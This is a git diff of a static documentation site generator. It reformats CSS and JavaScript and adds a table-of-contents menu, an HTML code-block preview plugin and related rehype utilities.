.header-nav .logo,
.header-nav .menu,
.header-nav .menu a {
display: flex;
justify-content: space-between;
align-items: center;
@ -409,17 +472,19 @@ a.text-grey {
font-size: 40px;
}
.header-nav .menu a:hover, .header-nav .menu button:hover {
.header-nav .menu a:hover,
.header-nav .menu button:hover {
background-color: var(--color-neutral-muted);
}
.header-nav .menu a, .header-nav .menu button {
.header-nav .menu a,
.header-nav .menu button {
padding-left: 0.75rem;
padding-right: 0.75rem;
padding-top: 0.5rem;
padding-bottom: 0.5rem;
border-radius: 9999px;
transition: all .3s;
transition: all 0.3s;
border: 0;
}
@ -441,7 +506,8 @@ a.text-grey {
font-size: 18px;
}
.header-nav a, .header-nav a:visited {
.header-nav a,
.header-nav a:visited {
color: var(--color-fg-default);
line-height: 1.2;
gap: 0.3rem;
@ -474,6 +540,67 @@ a.text-grey {
display: flex;
flex-direction: column;
gap: 3rem;
position: relative;
}
.menu-tocs {
position: sticky;
top: 0;
z-index: 88;
display: inline-flex;
}
.menu-tocs:hover > .menu-modal {
display: block;
border-radius: 0.5rem;
padding: 0.3rem;
max-height: 100vh;
overflow: auto;
background-color: var(--color-canvas-subtle);
box-shadow: 0 8px 24px rgba(var(--box-shadow) / 0.2);
}
.menu-tocs > .menu-btn {
border: 1px solid var(--color-border-default);
display: flex;
border-radius: 0.3rem;
padding: 0.3rem 0.4rem;
font-size: 1.3rem;
margin-left: -3rem;
margin-top: 0.3rem;
position: absolute;
}
.menu-tocs > .menu-modal {
width: 260px;
position: absolute;
display: none;
margin-left: -1rem;
}
.menu-tocs > .menu-modal a + a {
margin-bottom: 0.2rem;
}
.menu-tocs > .menu-modal a:hover {
background-color: var(--color-neutral-muted);
}
.menu-tocs > .menu-modal a.is-active-link {
background-color: var(--color-border-muted);
text-decoration-color: #10b981;
}
.menu-tocs > .menu-modal a {
display: block;
overflow: hidden;
padding: 0.3rem 0.5rem;
}
.menu-tocs > .menu-modal a.leve2 {
font-weight: bold;
color: var(--color-fg-default);
}
.menu-tocs > .menu-modal a.leve3 {
padding-left: 1.2rem;
}
.menu-tocs > .menu-modal a.leve4,
.menu-tocs > .menu-modal a.leve5,
.menu-tocs > .menu-modal a.leve6 {
padding-left: 2.1rem;
}
.wrap-header.h2wrap > h2 {
@ -484,7 +611,8 @@ a.text-grey {
font-size: 30px;
line-height: 1.2;
font-weight: 200;
font-family: -apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen', 'Ubuntu', 'Cantarell', 'Fira Sans',
'Droid Sans', 'Helvetica Neue', sans-serif;
margin-top: 0;
}
@ -495,7 +623,8 @@ a.text-grey {
color: rgb(148 163 184/1);
}
body:not(.home) .h2wrap > h2 a::after, body:not(.home) .h3wrap > h3 a::after {
body:not(.home) .h2wrap > h2 a::after,
body:not(.home) .h3wrap > h3 a::after {
content: '#';
padding-right: 0.5rem;
color: rgb(16 185 129/1);
@ -510,6 +639,16 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
display: initial;
}
.wrap.h3body-exist .wrap-header.h3wrap {
flex: initial;
}
.wrap.h3body-exist > .h3wrap-body {
flex: 1;
display: flex;
flex-direction: column;
}
.wrap-header.h3wrap {
z-index: 0;
width: 100%;
@ -535,7 +674,8 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
letter-spacing: 0.05em;
}
.wrap-header.h3wrap > .wrap-body p, .wrap-header.h4wrap > .wrap-body p {
.wrap-header.h3wrap > .wrap-body p,
.h3wrap-body p {
margin: 0px;
width: 100%;
padding-left: 1rem;
@ -550,7 +690,7 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
background-color: var(--color-bg-subtle);
color: rgb(30 41 59/0);
content: '-';
line-height: 1.50rem;
line-height: 1.5rem;
top: 0;
position: absolute;
left: 0px;
@ -558,7 +698,8 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
border-radius: 0.5rem 0.5rem 0 0;
}
.wrap-header.h3wrap > .wrap-body p:not(:first-child):last-child {
.wrap-header.h3wrap > .wrap-body p:not(:first-child):last-child,
.h3wrap-body p:not(:first-child):last-child {
margin-top: auto;
border-radius: 0 0 0.5rem 0.5rem;
}
@ -571,7 +712,9 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
flex-direction: column;
}
.h4wrap > h4 {
.h3wrap-body > h4,
.h3wrap-body > h5,
.h3wrap-body > h6 {
border-color: transparent;
background-color: var(--color-neutral-muted);
color: var(--color-fg-default);
@ -585,22 +728,17 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
text-align: center;
}
.h4wrap > .wrap-body ul,
.h4wrap > .wrap-body ol,
.h4wrap > .wrap-body dl,
.h3wrap > .wrap-body ul,
.h3wrap > .wrap-body ol,
.h3wrap > .wrap-body dl {
.h3wrap .wrap-body > ul,
.h3wrap .wrap-body > ol,
.h3wrap .wrap-body > dl,
.h3wrap-body > ul,
.h3wrap-body > ol,
.h3wrap-body > dl {
margin-top: 0.5rem;
margin-bottom: 0.5rem;
display: grid;
list-style-position: outside;
grid-template-columns: repeat(1,minmax(0,1fr));
}
.h4wrap > .wrap-body ul + hr {
margin-bottom: 0;
grid-template-columns: repeat(1, minmax(0, 1fr));
}
.h3wrap > .wrap-body ul:not(:last-child),
@ -618,7 +756,7 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
border-bottom: solid 1px var(--color-border-muted);
}
.h2wrap-body ul:not(.style-none)>li::before {
.h2wrap-body ul:not(.style-none) > li::before {
content: '';
position: absolute;
display: inline-block;
@ -654,13 +792,13 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
width: 1.5rem;
text-align: center;
font-size: 0.875rem;
line-height: 1.30rem;
line-height: 1.3rem;
border: 2px solid #228e6c;
top: -1px;
left: -14px;
}
.h2wrap-body ul.style-timeline li:last-child {
border-image: linear-gradient(to bottom,#46c69e96,rgba(0,0,0,0)) 1 100%;
border-image: linear-gradient(to bottom, #46c69e96, rgba(0, 0, 0, 0)) 1 100%;
}
.h2wrap-body ul.style-timeline li {
border-bottom: 0 !important;
@ -703,7 +841,8 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
border-bottom: 0;
}
.h3wrap hr, .h3wrap-body hr {
.h3wrap hr,
.h3wrap-body hr {
border-width: 0;
border-style: solid;
border-color: #e5e7eb;
@ -712,7 +851,7 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
.h2wrap-body {
font-size: 0.925rem;
grid-template-columns: repeat(3,minmax(0,1fr));
grid-template-columns: repeat(3, minmax(0, 1fr));
flex-direction: column;
}
@ -724,10 +863,10 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
border-radius: 0.5rem;
padding-top: 1.5rem;
margin-bottom: 1rem;
box-shadow: 0 0 #0000, 0 0 #0000, 0 6px 8px rgba(102,119,136,0.03),0 1px 2px rgba(102,119,136,0.3);
box-shadow: 0 0 #0000, 0 0 #0000, 0 6px 8px rgba(102, 119, 136, 0.03), 0 1px 2px rgba(102, 119, 136, 0.3);
}
.h2wrap-body > .wrap .wrap-body > *:last-child {
.h3wrap-body > *:last-child {
border-radius: 0 0 0.5rem 0.5rem;
}
@ -741,33 +880,87 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
overflow-x: auto;
}
.cols-1 { grid-template-columns: repeat(1,minmax(0,1fr)) !important; }
.cols-2 { grid-template-columns: repeat(2,minmax(0,1fr)) !important; }
.cols-3 { grid-template-columns: repeat(3,minmax(0,1fr)) !important; }
.cols-4 { grid-template-columns: repeat(4,minmax(0,1fr)) !important; }
.cols-5 { grid-template-columns: repeat(5,minmax(0,1fr)) !important; }
.cols-6 { grid-template-columns: repeat(6,minmax(0,1fr)) !important; }
.cols-7 { grid-template-columns: repeat(7,minmax(0,1fr)) !important; }
.cols-8 { grid-template-columns: repeat(8,minmax(0,1fr)) !important; }
.cols-9 { grid-template-columns: repeat(9,minmax(0,1fr)) !important; }
.col-span-2 { grid-column: span 2/span 2; }
.col-span-3 { grid-column: span 3/span 3; }
.col-span-4 { grid-column: span 4/span 4; }
.col-span-5 { grid-column: span 5/span 5; }
.col-span-6 { grid-column: span 6/span 6; }
.col-span-7 { grid-column: span 7/span 7; }
.col-span-8 { grid-column: span 8/span 8; }
.col-span-9 { grid-column: span 9/span 9; }
.col-span-10 { grid-column: span 10/span 10; }
.row-span-2 { grid-row: span 2/span 2; }
.row-span-3 { grid-row: span 3/span 3; }
.row-span-4 { grid-row: span 4/span 4; }
.row-span-5 { grid-row: span 5/span 5; }
.row-span-6 { grid-row: span 6/span 6; }
.row-span-7 { grid-row: span 7/span 7; }
.row-span-8 { grid-row: span 8/span 8; }
.row-span-9 { grid-row: span 9/span 9; }
.row-span-10 { grid-row: span 10/span 10; }
.cols-1 {
grid-template-columns: repeat(1, minmax(0, 1fr)) !important;
}
.cols-2 {
grid-template-columns: repeat(2, minmax(0, 1fr)) !important;
}
.cols-3 {
grid-template-columns: repeat(3, minmax(0, 1fr)) !important;
}
.cols-4 {
grid-template-columns: repeat(4, minmax(0, 1fr)) !important;
}
.cols-5 {
grid-template-columns: repeat(5, minmax(0, 1fr)) !important;
}
.cols-6 {
grid-template-columns: repeat(6, minmax(0, 1fr)) !important;
}
.cols-7 {
grid-template-columns: repeat(7, minmax(0, 1fr)) !important;
}
.cols-8 {
grid-template-columns: repeat(8, minmax(0, 1fr)) !important;
}
.cols-9 {
grid-template-columns: repeat(9, minmax(0, 1fr)) !important;
}
.col-span-2 {
grid-column: span 2 / span 2;
}
.col-span-3 {
grid-column: span 3 / span 3;
}
.col-span-4 {
grid-column: span 4 / span 4;
}
.col-span-5 {
grid-column: span 5 / span 5;
}
.col-span-6 {
grid-column: span 6 / span 6;
}
.col-span-7 {
grid-column: span 7 / span 7;
}
.col-span-8 {
grid-column: span 8 / span 8;
}
.col-span-9 {
grid-column: span 9 / span 9;
}
.col-span-10 {
grid-column: span 10 / span 10;
}
.row-span-2 {
grid-row: span 2 / span 2;
}
.row-span-3 {
grid-row: span 3 / span 3;
}
.row-span-4 {
grid-row: span 4 / span 4;
}
.row-span-5 {
grid-row: span 5 / span 5;
}
.row-span-6 {
grid-row: span 6 / span 6;
}
.row-span-7 {
grid-row: span 7 / span 7;
}
.row-span-8 {
grid-row: span 8 / span 8;
}
.row-span-9 {
grid-row: span 9 / span 9;
}
.row-span-10 {
grid-row: span 10 / span 10;
}
.wrap-text {
white-space: pre-wrap !important;
@ -790,7 +983,7 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
opacity: 0;
border-radius: 0.5rem;
z-index: 1;
transition: opacity .6s;
transition: opacity 0.6s;
line-height: 1.5;
width: 220px;
@ -799,7 +992,7 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
margin-left: -110px;
}
.tooltip .tooltiptext::after {
content: "";
content: '';
position: absolute;
top: 100%;
left: 50%;
@ -815,17 +1008,34 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
}
/* 代码高亮 Start */
.token.comment, .token.prolog, .token.doctype, .token.cdata {
.token.comment,
.token.prolog,
.token.doctype,
.token.cdata {
color: var(--color-prettylights-syntax-comment);
}
.token.namespace { opacity: 0.7; }
.token.tag, .token.selector, .token.constant, .token.symbol, .token.deleted {
.token.namespace {
opacity: 0.7;
}
.token.tag,
.token.selector,
.token.constant,
.token.symbol,
.token.deleted {
color: var(--color-prettylights-syntax-entity-tag);
}
.token.maybe-class-name {
color: var(--color-prettylights-syntax-entity);
}
.token.property-access, .token.operator, .token.boolean, .token.number, .token.selector .token.class, .token.attr-name, .token.string, .token.char, .token.builtin {
.token.property-access,
.token.operator,
.token.boolean,
.token.number,
.token.selector .token.class,
.token.attr-name,
.token.string,
.token.char,
.token.builtin {
color: var(--color-prettylights-syntax-constant);
}
.token.deleted {
@ -850,13 +1060,23 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
.token.variable {
color: var(--color-prettylights-syntax-constant);
}
.token.entity, .token.url, .language-css .token.string, .style .token.string {
.token.entity,
.token.url,
.language-css .token.string,
.style .token.string {
color: var(--color-prettylights-syntax-string);
}
.token.color, .token.atrule, .token.attr-value, .token.function, .token.class-name {
.token.color,
.token.atrule,
.token.attr-value,
.token.function,
.token.class-name {
color: var(--color-prettylights-syntax-string);
}
.token.rule, .token.regex, .token.important, .token.keyword {
.token.rule,
.token.regex,
.token.important,
.token.keyword {
color: var(--color-prettylights-syntax-keyword);
}
.token.module {
@ -881,9 +1101,16 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
color: var(--color-prettylights-syntax-variable);
}
.token.important, .token.bold { font-weight: bold; }
.token.italic { font-style: italic; }
.token.entity { cursor: help; }
.token.important,
.token.bold {
font-weight: bold;
}
.token.italic {
font-style: italic;
}
.token.entity {
cursor: help;
}
.highlight-line {
background-color: var(--color-neutral-muted);
@ -923,7 +1150,8 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
.header-nav .max-container {
padding-top: 0.85rem;
}
.header-nav .menu a, .header-nav .menu button {
.header-nav .menu a,
.header-nav .menu button {
padding: 0.2rem 0.3rem;
}
.wrap-header.h1wrap > h1 {
@ -959,23 +1187,25 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
.footer-wrap {
font-size: 0.75rem;
}
table {
table.auto-wrap {
overflow: auto;
display: block;
}
table td, table th {
table.auto-wrap thead {
display: none;
}
table.auto-wrap td,
table.auto-wrap th {
display: block;
text-align: left !important;
}
table td + td, table th + th {
table td + td,
table th + th {
padding-top: 0 !important;
}
table td:first-child {
white-space: initial;
}
.wrap-header.h3wrap > .wrap-body {
overflow: initial;
}
.tooltip:hover .tooltiptext {
display: inline-block;
}
@ -983,6 +1213,6 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
@media (min-width: 768px) {
.home-card {
grid-template-columns: repeat(4,minmax(0,1fr));
grid-template-columns: repeat(4, minmax(0, 1fr));
}
}

View File

@ -1,8 +1,8 @@
const scripts = `
if(('onhashchange' in window) && ((typeof document.documentMode==='undefined') || document.documentMode==8)) {
window.onhashchange = function () {
anchorPoint()
updateAnchor()
};
}
function anchorPoint() {
@ -11,20 +11,39 @@ function anchorPoint() {
Array.from(document.querySelectorAll('.h2wrap-body .wrap')).forEach((elm) => elm.classList.remove('active'))
if (elm?.tagName === 'H3') {
elm?.parentElement?.parentElement?.classList.add('active');
const box = elm?.parentElement?.parentElement;
console.log('elm:2', box, document.querySelectorAll('.h2wrap-body .wrap'))
}
}
anchorPoint();
function updateAnchor(element) {
const anchorContainer = document.querySelectorAll('.menu-tocs .menu-modal a.tocs-link');
anchorContainer.forEach((tocanchor) => {
tocanchor.classList.remove('is-active-link');
});
const anchor = element || document.querySelector(\`a.tocs-link[href='\${decodeURIComponent(window.location.hash)}']\`);
if (anchor) {
anchor.classList.add('is-active-link');
}
}
// toc 定位
updateAnchor()
const anchor = document.querySelectorAll('.menu-tocs .menu-modal a.tocs-link');
anchor.forEach((item) => {
item.addEventListener('click', (e) => {
updateAnchor()
})
})
`;
export function anchorPoint() {
return {
type: 'element',
tagName: 'script',
children: [{
type: 'text',
value: scripts,
}]
}
}
children: [
{
type: 'text',
value: scripts,
},
],
};
}

View File

@ -1,4 +1,3 @@
export function getChilds(data = [], level, result = []) {
for (let i = 1; i <= data.length; i++) {
const titleNum = Number(data[i]?.tagName?.replace(/^h/, ''));

View File

@ -21,27 +21,27 @@ const ICONS_PATH = path.resolve(process.cwd(), 'scripts/assets');
export function darkMode() {
const iconSunPath = path.resolve(ICONS_PATH, `sun.svg`);
const iconMoonPath = path.resolve(ICONS_PATH, `moon.svg`);
const sunNode = getSVGNode(iconSunPath)
const moonNode = getSVGNode(iconMoonPath)
const sunNode = getSVGNode(iconSunPath);
const moonNode = getSVGNode(iconMoonPath);
return [
{
type: 'element',
tagName: 'button',
properties: {
id: 'darkMode',
type: 'button'
type: 'button',
},
children: [
...sunNode,
...moonNode
]
}, {
children: [...sunNode, ...moonNode],
},
{
type: 'element',
tagName: 'script',
children: [{
type: 'text',
value: scripts,
}]
}
children: [
{
type: 'text',
value: scripts,
},
],
},
];
}

View File

@ -1,13 +1,24 @@
import fs from 'fs-extra';
import path from 'path';
import rehypeParse from 'rehype-parse';
import {unified} from 'unified';
import { unified } from 'unified';
import { VFile } from 'vfile';
export function getSVGNode(iconPath) {
export const ICONS_PATH = path.resolve(process.cwd(), 'scripts/assets');
export function getSVGNode(iconPath, space = 'svg') {
const svgStr = fs.readFileSync(iconPath);
const processor = unified().use(rehypeParse,{ fragment: true, space: "svg" })
const processor = unified().use(rehypeParse, { fragment: true, space });
const file = new VFile();
file.value = svgStr.toString();
const hastNode = processor.runSync(processor.parse(file), file);
return hastNode.children || []
}
return hastNode.children || [];
}
export function getVNode(str = '', space = 'html') {
const processor = unified().use(rehypeParse, { fragment: true, space });
const file = new VFile();
file.value = str.toString();
const hastNode = processor.runSync(processor.parse(file), file);
return hastNode.children || [];
}

View File

@ -1,10 +1,75 @@
import path from 'path';
import { getCodeString } from 'rehype-rewrite';
import { panelAddNumber } from './panelAddNumber.mjs';
import { getChilds, getHeader } from './childs.mjs';
import { ICONS_PATH, getSVGNode } from './getSVGNode.mjs';
export const titleNum = (tagName = '') => Number(tagName.replace(/^h/, ''));
export function getTocsTitleNode(arr = [], result = []) {
arr.forEach(({ tagName, type, properties, children }) => {
if (/^h[23456]/.test(tagName)) {
const num = titleNum(tagName);
const props = { 'aria-hidden': 'true', class: `leve${num} tocs-link`, href: '#' + (properties.id || '') };
const title = getCodeString(children || []);
result.push({ tagName: 'a', type, properties: props, children: [{ type: 'text', value: title || ' ' }] });
} else if (children?.length > 0) {
result = result.concat(getTocsTitleNode(children));
}
});
return result;
}
export function addTocsInWarp(tocsData = [], menuData, isDone = false) {
const childs = tocsData.map((item) => {
if (item.properties?.class?.includes('h1wrap-body')) {
isDone = true;
}
if (!isDone && item.children) {
item.children = addTocsInWarp([...item.children], menuData, isDone);
}
return item;
});
if (isDone) {
childs.splice(1, 0, menuData);
}
return childs;
}
export const getTocsTitleNodeWarpper = (children = []) => {
const iconPath = path.resolve(ICONS_PATH, `menu.svg`);
const svgNode = getSVGNode(iconPath);
return {
type: 'element',
tagName: 'div',
properties: {
class: 'menu-tocs',
},
children: [
{
type: 'element',
tagName: 'div',
properties: {
class: 'menu-btn',
},
children: [...svgNode],
},
{
type: 'element',
tagName: 'div',
properties: {
class: 'menu-modal',
},
children: children,
},
],
};
};
/** Markdown 文档转成树形结构 */
export function getTocsTree(arr = [], result = []) {
const data = panelAddNumber(arr);
let n = 0;
let level = -1;
@ -14,20 +79,21 @@ export function getTocsTree(arr = [], result = []) {
if (level === -1) {
level = toc.number;
}
const titleNum = Number(toc.tagName?.replace(/^h/, ''));
if (toc.number === level && titleNum === level) {
if (toc.number === level && titleNum(toc.tagName) === level) {
const header = getHeader(data.slice(n), level);
const childs = getChilds([...data.slice(n + 1)], level);
const resultChilds = getTocsTree(childs);
const wrapCls = ['wrap'];
const headerCls = ['wrap-header', `h${level}wrap`];
wrapCls.push(`h${level}body-${resultChilds.length === 0 ? 'not-' : ''}exist`);
if (level === 1) wrapCls.push('max-container');
const wrapStyle = toc.properties['wrap-style'];
delete toc.properties['wrap-style']
delete toc.properties['wrap-style'];
const wrapClass = toc.properties['wrap-class'];
if (wrapClass) wrapCls.push(wrapClass);
delete toc.properties['wrap-class'];
const panle = {
let panle = {
type: 'element',
tagName: 'div',
properties: { class: wrapCls, style: wrapStyle },
@ -42,29 +108,36 @@ export function getTocsTree(arr = [], result = []) {
type: 'element',
tagName: 'div',
properties: { class: 'wrap-body' },
children: [
...header
],
}
children: [...header],
},
],
}
},
],
};
if (titleNum(toc.tagName) > 3) {
panle = [toc, ...header];
}
const childs = getChilds([...data.slice(n + 1)], level);
const resultChilds = getTocsTree(childs);
if (resultChilds.length > 0) {
const bodyStyle = toc.properties['body-style'];
delete toc.properties['body-style']
delete toc.properties['body-style'];
const bodyClass = toc.properties['body-class'];
delete toc.properties['body-class']
panle.children = panle.children.concat({
type: 'element',
tagName: 'div',
properties: { class: [`h${level}wrap-body`, bodyClass], style: bodyStyle },
children: [...resultChilds]
});
delete toc.properties['body-class'];
if (Array.isArray(panle)) {
panle = panle.concat(resultChilds);
} else if (panle.children) {
panle.children = panle.children.concat({
type: 'element',
tagName: 'div',
properties: { class: [`h${level}wrap-body`, bodyClass], style: bodyStyle },
children: [...resultChilds],
});
}
}
if (Array.isArray(panle)) {
result = result.concat(panle);
} else {
result.push(panle);
}
result.push(panle);
}
n++;

View File

@ -1,8 +1,6 @@
import fs from 'fs-extra';
import path from 'path';
import { getSVGNode } from './getSVGNode.mjs';
export const ICONS_PATH = path.resolve(process.cwd(), 'scripts/assets')
import { getSVGNode, ICONS_PATH } from './getSVGNode.mjs';
export function homeCardIcons(node, parent, isHome) {
if (isHome && node && node.type === 'element' && node.properties?.class?.includes('home-card')) {
@ -17,16 +15,16 @@ export function homeCardIcons(node, parent, isHome) {
type: 'element',
tagName: 'span',
children: child.children,
}
};
if (iconExist) {
const svgNode = getSVGNode(iconPath);
child.children = [ ...svgNode, labelNode ];
child.children = [...svgNode, labelNode];
} else {
const svgNode = getSVGNode(iconDefaultPath);
child.children = [ ...svgNode, labelNode ];
child.children = [...svgNode, labelNode];
}
}
return child
})
return child;
});
}
}
}

View File

@ -1,4 +1,3 @@
/** 标记 Number */
export function panelAddNumber(arr = [], result = []) {
let n = 0;
@ -10,9 +9,9 @@ export function panelAddNumber(arr = [], result = []) {
level = titleNum;
}
if (toc) {
result.push({ ...toc, number: level })
result.push({ ...toc, number: level });
}
n++;
}
return result
}
return result;
}

View File

@ -0,0 +1,22 @@
import { visit } from 'unist-util-visit';
import { getCodeString } from 'rehype-rewrite';
import { getVNode } from './getSVGNode.mjs';
export function rehypePreviewHTML() {
return (tree) => {
visit(tree, (node, index, parent) => {
if (node.type === 'element' && node.tagName === 'pre') {
const child = node.children[0];
if (
child.properties?.className?.includes('language-html') &&
child?.tagName === 'code' &&
child.data?.meta === 'preview'
) {
const code = getCodeString(child.children);
const vnode = getVNode(code || '');
node.children = vnode;
}
}
});
};
}

View File

@ -1,7 +1,6 @@
import fs from 'fs-extra';
import path from 'path';
import { getSVGNode } from './getSVGNode.mjs';
import { ICONS_PATH } from './homeCardIcons.mjs';
import { getSVGNode, ICONS_PATH } from './getSVGNode.mjs';
export function rehypeTitle(node, iconName) {
if (node.type === 'element' && node.tagName === 'h1' && iconName !== 'index') {
@ -10,10 +9,10 @@ export function rehypeTitle(node, iconName) {
const iconExist = fs.existsSync(iconPath);
if (iconExist) {
const svgNode = getSVGNode(iconPath);
node.children = [ ...svgNode, ...node.children ];
node.children = [...svgNode, ...node.children];
} else {
const svgNode = getSVGNode(iconDefaultPath);
node.children = [ ...svgNode, ...node.children ];
node.children = [...svgNode, ...node.children];
}
}
}
}

View File

@ -1,6 +1,11 @@
export function rehypeUrls(node) {
if (node.type === 'element' && node.properties?.href && /.md/.test(node.properties.href) && !/^(https?:\/\/)/.test(node.properties.href)) {
if (
node.type === 'element' &&
node.properties?.href &&
/.md/.test(node.properties.href) &&
!/^(https?:\/\/)/.test(node.properties.href)
) {
let href = node.properties.href;
node.properties.href = href.replace(/([^\.\/\\]+)\.(md|markdown)/gi, '$1.html');
}
}
}

View File

@ -1,15 +1,15 @@
/**
* 配置 tooltips 注释
*
*
* ```markdown
* - [超链接有 tooltips 提示](#1xx-information) _Tooltips 展示内容_ <!--rehype:tooltips-->
* ```
*
*
* 上面示例:将 “Tooltips 展示内容” 放到 前一个 `<a>` dom 节点作为子节点
*
*
* - 注释配置的,前一个节点 AA 的前一个节点 B
* - 如果 A 和 B 其中一个不存在 `tooltips` 将失效
* - 设置 B 的类名称为 tooltips
* - 设置 B 的类名称为 tooltips
*/
export function tooltips(node, index, parent) {
if (node.type === 'comment' && parent?.children.length > 2) {
@ -17,12 +17,12 @@ export function tooltips(node, index, parent) {
const result = [];
let recordPos = false; // 记录位置
let tooltipNode = null;
for(let i = childs.length; i > -1; i--) {
for (let i = childs.length; i > -1; i--) {
const node = childs[i];
// 记录 tooltip 的开始位置
if (node?.type === 'comment' && node?.value === 'rehype:tooltips') {
recordPos = true;
continue
continue;
}
// 记录 tooltip 的 node
if (recordPos && !tooltipNode) {
@ -33,24 +33,24 @@ export function tooltips(node, index, parent) {
tooltipNode = node;
tooltipNode.properties['class'] = 'tooltiptext';
delete tooltipNode.position;
continue
continue;
}
}
// 将 tooltip 节点,插入到下一个 element 节点的子节点中
if (tooltipNode) {
if (node.type === 'comment' || (node.type === 'text' && !node?.value?.replace(/\s\n/g, ''))) {
recordPos = false;
tooltipNode = null
tooltipNode = null;
}
if (tooltipNode && node?.type === 'element') {
recordPos = false;
node.properties['class'] = 'tooltip';
node.children.push(tooltipNode);
tooltipNode = null
tooltipNode = null;
}
}
if (!recordPos && node) {
result.push(node)
result.push(node);
}
}
if (parent) {
@ -59,6 +59,4 @@ export function tooltips(node, index, parent) {
}
}
export function getPreviewNode() {
}
export function getPreviewNode() {}

View File

@ -3,17 +3,18 @@ import chokidar from 'chokidar';
import { getStat } from 'recursive-readdir-files';
import { run, DOCS, createHTML } from './index.mjs';
;(async () => {
(async () => {
await run();
const homeMdPath = path.relative(process.cwd(), 'README.md')
const homeMdPath = path.relative(process.cwd(), 'README.md');
const watcher = chokidar.watch([DOCS, homeMdPath], {
ignored: /(^|[\/\\])\../, // ignore dotfiles
persistent: true
persistent: true,
});
watcher.on('change', async (path) => {
const stats = await getStat(path)
createHTML([stats]);
})
.on('error', error => console.log(`Watcher error: ${error}`))
})();
watcher
.on('change', async (path) => {
const stats = await getStat(path);
createHTML([stats]);
})
.on('error', (error) => console.log(`Watcher error: ${error}`));
})();